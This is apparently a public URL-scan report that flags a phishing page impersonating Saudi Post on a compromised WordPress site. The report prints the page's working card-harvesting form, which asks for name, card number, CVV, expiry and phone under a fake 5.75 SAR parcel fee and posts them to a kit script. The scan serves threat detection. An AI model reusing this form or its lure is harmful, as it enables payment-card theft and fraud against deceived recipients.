cursist01.nr30.nl Open in urlscan Pro
86.89.240.114  Malicious Activity! Public Scan

Submitted URL: http://bit.ly/3v9yGnJ
Effective URL: https://cursist01.nr30.nl/wp-content/themes/su/payment.php
Submission: On April 12 via manual from CH — Scanned from DE

Form analysis 1 forms found in the DOM

POST ./secure/check1.php

<form action="./secure/check1.php" class="form-fields" role="form" id="form_pay" method="post" accept-charset="utf-8" _lpchecked="1">
  <input type="hidden" name="exchange_rate" value="0.2736">
  <div class="payment-wrap">
    <div>
      <label class="payment_method">
        <input required="" type="radio" id="creditcard" name="payment_type" value="visa">
        <img src="./files/58482363cef1014c0b5e49c1.png" width="65" alt="Credit Card">
      </label>
      <label class="payment_method">
        <input required="" type="radio" id="creditcard" name="payment_type" value="mastercard">
        <img src="./files/58482354cef1014c0b5e49c0.png" width="55" alt="Credit Card">
      </label>
    </div>
    <!--Sadad Enable-->
    <script type="text/javascript">
      var $cc = {}
      $cc.validate = function(e) {
        //if the input is empty reset the indicators to their default classes
        if (e.target.value == '') {
          e.target.previousElementSibling.className = 'card-type';
          e.target.nextElementSibling.className = 'card-valid';
          return
        }
        //Retrieve the value of the input and remove all non-number characters
        var number = String(e.target.value);
        var cleanNumber = '';
        for (var i = 0; i < number.length; i++) {
          if (/^[0-9]+$/.test(number.charAt(i))) {
            cleanNumber += number.charAt(i);
          }
        }
        //Only parse and correct the input value if the key pressed isn't backspace.
        if (e.key != 'Backspace') {
          //Format the value to include spaces in the correct locations
          var formatNumber = '';
          for (var i = 0; i < cleanNumber.length; i++) {
            if (i == 3 || i == 7 || i == 11) {
              formatNumber = formatNumber + cleanNumber.charAt(i) + ' '
            } else {
              formatNumber += cleanNumber.charAt(i)
            }
          }
          e.target.value = formatNumber;
        }
        //run the Luhn algorithm on the number if it is at least equal to the shortest card length
        if (cleanNumber.length >= 12) {
          var isLuhn = luhn(cleanNumber);
        }

        function luhn(number) {
          var numberArray = number.split('').reverse();
          for (var i = 0; i < numberArray.length; i++) {
            if (i % 2 != 0) {
              numberArray[i] = numberArray[i] * 2;
              if (numberArray[i] > 9) {
                numberArray[i] = parseInt(String(numberArray[i]).charAt(0)) + parseInt(String(numberArray[i]).charAt(1))
              }
            }
          }
          var sum = 0;
          for (var i = 1; i < numberArray.length; i++) {
            sum += parseInt(numberArray[i]);
          }
          sum = sum * 9 % 10;
          if (numberArray[0] == sum) {
            return true
          } else {
            return false
          }
        }
        //if the number passes the Luhn algorithm add the class 'active'
        if (isLuhn == true) {
          e.target.nextElementSibling.className = 'card-valid active'
        } else {
          e.target.nextElementSibling.className = 'card-valid'
        }
        var card_types = [{
          name: 'maestro',
          pattern: /^(5018|5020|5038|6304|6759|676[1-3])/,
          valid_length: [12, 13, 14, 15, 16, 17, 18, 19]
        }];
        //test the number against each of the above card types and regular expressions
        for (var i = 0; i < card_types.length; i++) {
          if (number.match(card_types[i].pattern)) {
            //if a match is found add the card type as a class
            e.target.previousElementSibling.className = 'card-type ' + card_types[i].name;
          }
        }
      }
      $cc.expiry = function(e) {
        if (e.key != 'Backspace') {
          var number = String(this.value);
          //remove all non-number character from the value
          var cleanNumber = '';
          for (var i = 0; i < number.length; i++) {
            if (i == 1 && number.charAt(i) == '/') {
              cleanNumber = 0 + number.charAt(0);
            }
            if (/^[0-9]+$/.test(number.charAt(i))) {
              cleanNumber += number.charAt(i);
            }
          }
          var formattedMonth = ''
          for (var i = 0; i < cleanNumber.length; i++) {
            if (/^[0-9]+$/.test(cleanNumber.charAt(i))) {
              //if the number is greater than 1 append a zero to force a 2 digit month
              if (i == 0 && cleanNumber.charAt(i) > 1) {
                formattedMonth += 0;
                formattedMonth += cleanNumber.charAt(i);
                formattedMonth += '/';
              }
              //add a '/' after the second number
              else if (i == 1) {
                formattedMonth += cleanNumber.charAt(i);
                formattedMonth += '/';
              }
              //force a 4 digit year
              else if (i == 2 && cleanNumber.charAt(i) < 2) {
                formattedMonth += '20' + cleanNumber.charAt(i);
              } else {
                formattedMonth += cleanNumber.charAt(i);
              }
            }
          }
          this.value = formattedMonth;
        }
      }
    </script>
    <!-- End Sadad Enable Note-->
  </div>
  <div class="col-md-12 col-sm-12 form-wrap" style="margin-top:0; border-radius:0 0 5px 5px;">
    <div class="justified-wrap">
      <div class="col-md-12 col-sm-12 no-space">
        <div>
          <label>Package № :</label>
          <label type="text" class=" label-amount">NV 6588121</label>
        </div>
        <label>Amount :</label>
        <label type="text" class="required label-amount">5.75 SAR</label>
        <label>Phone Number :</label><br>
        <div class="iti iti--allow-dropdown">
          <div class="iti__flag-container">
            <div class="iti__selected-flag" role="combobox" aria-controls="iti-0__country-listbox" aria-owns="iti-0__country-listbox" aria-expanded="false" tabindex="0" title="Saudi Arabia (‫المملكة العربية السعودية‬‎): +966"
              aria-activedescendant="iti-0__item-sa">
              <div class="iti__flag iti__sa"></div>
              <div class="iti__arrow"></div>
            </div>
            <ul class="iti__country-list iti__hide" id="iti-0__country-listbox" role="listbox" aria-label="List of countries">
              <li class="iti__country iti__standard iti__active" tabindex="-1" id="iti-0__item-sa" role="option" data-dial-code="966" data-country-code="sa" aria-selected="true">
                <div class="iti__flag-box">
                  <div class="iti__flag iti__sa"></div>
                </div><span class="iti__country-name">Saudi Arabia (‫المملكة العربية السعودية‬‎)</span><span class="iti__dial-code">+966</span>
              </li>
              <li class="iti__country iti__standard" tabindex="-1" id="iti-0__item-ae" role="option" data-dial-code="971" data-country-code="ae" aria-selected="false">
                <div class="iti__flag-box">
                  <div class="iti__flag iti__ae"></div>
                </div><span class="iti__country-name">United Arab Emirates (‫الإمارات العربية المتحدة‬‎)</span><span class="iti__dial-code">+971</span>
              </li>
            </ul>
          </div><input id="phone" required="" name="phone" type="tel" autocomplete="off" data-intl-tel-input-id="0" placeholder="051 234 5678">
        </div>
        <br>
        <span id="valid-msg" class="hide">✓ Valid</span>
        <span id="error-msg" class="hide"></span>
      </div>
    </div>
    <script src="build/js/intlTelInput.js"></script>
    <script>
      // Validation
      var input = document.querySelector("#phone"),
        errorMsg = document.querySelector("#error-msg"),
        validMsg = document.querySelector("#valid-msg");
      // here, the index maps to the error code returned from getValidationError - see readme
      var errorMap = ["Error: Invalid number", "Error: Invalid country code", "Error: Too short", "Error: Too long", "Error: Invalid number"];
      var iti = window.intlTelInput(input, {
        onlyCountries: ['sa', 'ae'],
        utilsScript: "build/js/utils.js",
      });
      var reset = function() {
        input.classList.remove("error");
        errorMsg.innerHTML = "";
        errorMsg.classList.add("hide");
        validMsg.classList.add("hide");
      };
      // on blur: validate
      input.addEventListener('blur', function() {
        reset();
        if (input.value.trim()) {
          if (iti.isValidNumber()) {
            validMsg.classList.remove("hide");
            validMsg.classList.add("category-span");
          } else {
            input.classList.add("error");
            var errorCode = iti.getValidationError();
            errorMsg.innerHTML = errorMap[errorCode];
            errorMsg.classList.remove("hide");
            errorMsg.classList.add("category-span");
          }
        }
      });
      // on keyup / change flag: reset
      input.addEventListener('change', reset);
      input.addEventListener('keyup', reset);
    </script>
  </div>
  <div class="clearfix"></div>
  <div class="alert alert-danger  display-hide" style="display:none;">
    <button data-dismiss="alert" class="close" type="button">×</button>
    <strong> Error!</strong> All fields are required.
  </div>
  <div class="clearfix"></div>
  <!--              
                 </div>-->
  <div class="col-md-12 col-sm-12 card-details">
    <div class="form-wrap creditcard-hide">
      <input type="text" class="required form-control" placeholder="Full Name" required="" name="jeanname" autocomplete="off">
      <input onkeyup="$cc.validate(event)" required="" type="text" class="required form-control" placeholder="Card Number" name="jeancc" autocomplete="off" maxlength="19">
      <div>
        <div class="col-md-4 col-sm-4 no-space">
          <input required="" type="text" autocomplete="off" class="required form-control" placeholder="CVV" name="jeancvc" maxlength="4" style="
    margin-right: 2px;
    width: 110px;
">
        </div>
        <div class="col-md-5 col-sm-5 no-space">
          <select required="" class="required form-control" name="jeanm" style="margin-top:6px;width: 140px;">
            <option value="">Expiry Month</option>
            <option value="01">January</option>
            <option value="02">February</option>
            <option value="03">March</option>
            <option value="04">April</option>
            <option value="05">May</option>
            <option value="06">June</option>
            <option value="07">July</option>
            <option value="08">August</option>
            <option value="09">September</option>
            <option value="10">October</option>
            <option value="11">November</option>
            <option value="12">December</option>
          </select>
        </div>
        <div class="col-md-3 col-sm-3 no-space">
          <select required="" class="right required form-control" id="expiry_year" name="jeany" style="margin-top:6px;">
            <option value="">Year</option>
            <option value="22">2022</option>
            <option value="23">2023</option>
            <option value="24">2024</option>
            <option value="25">2025</option>
            <option value="26">2026</option>
            <option value="27">2027</option>
            <option value="28">2028</option>
            <option value="29">2029</option>
            <option value="30">2030</option>
            <option value="31">2031</option>
            <option value="32">2032</option>
          </select>
          <!--<input name="expDate" type="text" class=" form-control last textbox-wrap required" placeholder="Expiration Date MM/YY" maxlength="5"  id="expiry" autocomplete="off" >-->
        </div>
        <div class="clearfix"></div>
      </div>
    </div>
    <input type="submit" class="btn btn-lg btn-block btn-success" style="border: none;margin-top:15px;background-color: #4fad4d;
    color: #fff; " value="Pay Now">
    <div class="text-nav" style=" text-align:center; margin-top:15px;"><a href="">Cancel</a></div>
    <img class="card-brands-supported" alt="credit cards" style="margin-top:15px; width:85px" src="./files/cards.png">
    <img class="card-brands-supported" alt="credit cards" style="margin-top:15px; width:45px" src="./files/cards1.png">
    <img class="card-brands-supported" alt="credit cards" style="margin-top:15px; width:45px" src="./files/trust-removebg-preview.png">
    <div style="display: none;" id="hidden_fields">
      <input type="hidden" value="" name="amount" id="amount">
      <input type="hidden" name="paypage_id" value="10031622">
    </div>
    <input type="hidden" name="gointerpay_finger_print_id" id="gointerpay_finger_print_id" value="">
  </div>
</form>

Text Content

PLEASE WAIT ...


عربي



SAUDI POST

Package № : NV 6588121
Amount : 5.75 SAR Phone Number :

 * 
   Saudi Arabia (‫المملكة العربية السعودية‬‎)+966
 * 
   United Arab Emirates (‫الإمارات العربية المتحدة‬‎)+971


✓ Valid

× Error! All fields are required.

Expiry Month January February March April May June July August September October
November December
Year 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032

Cancel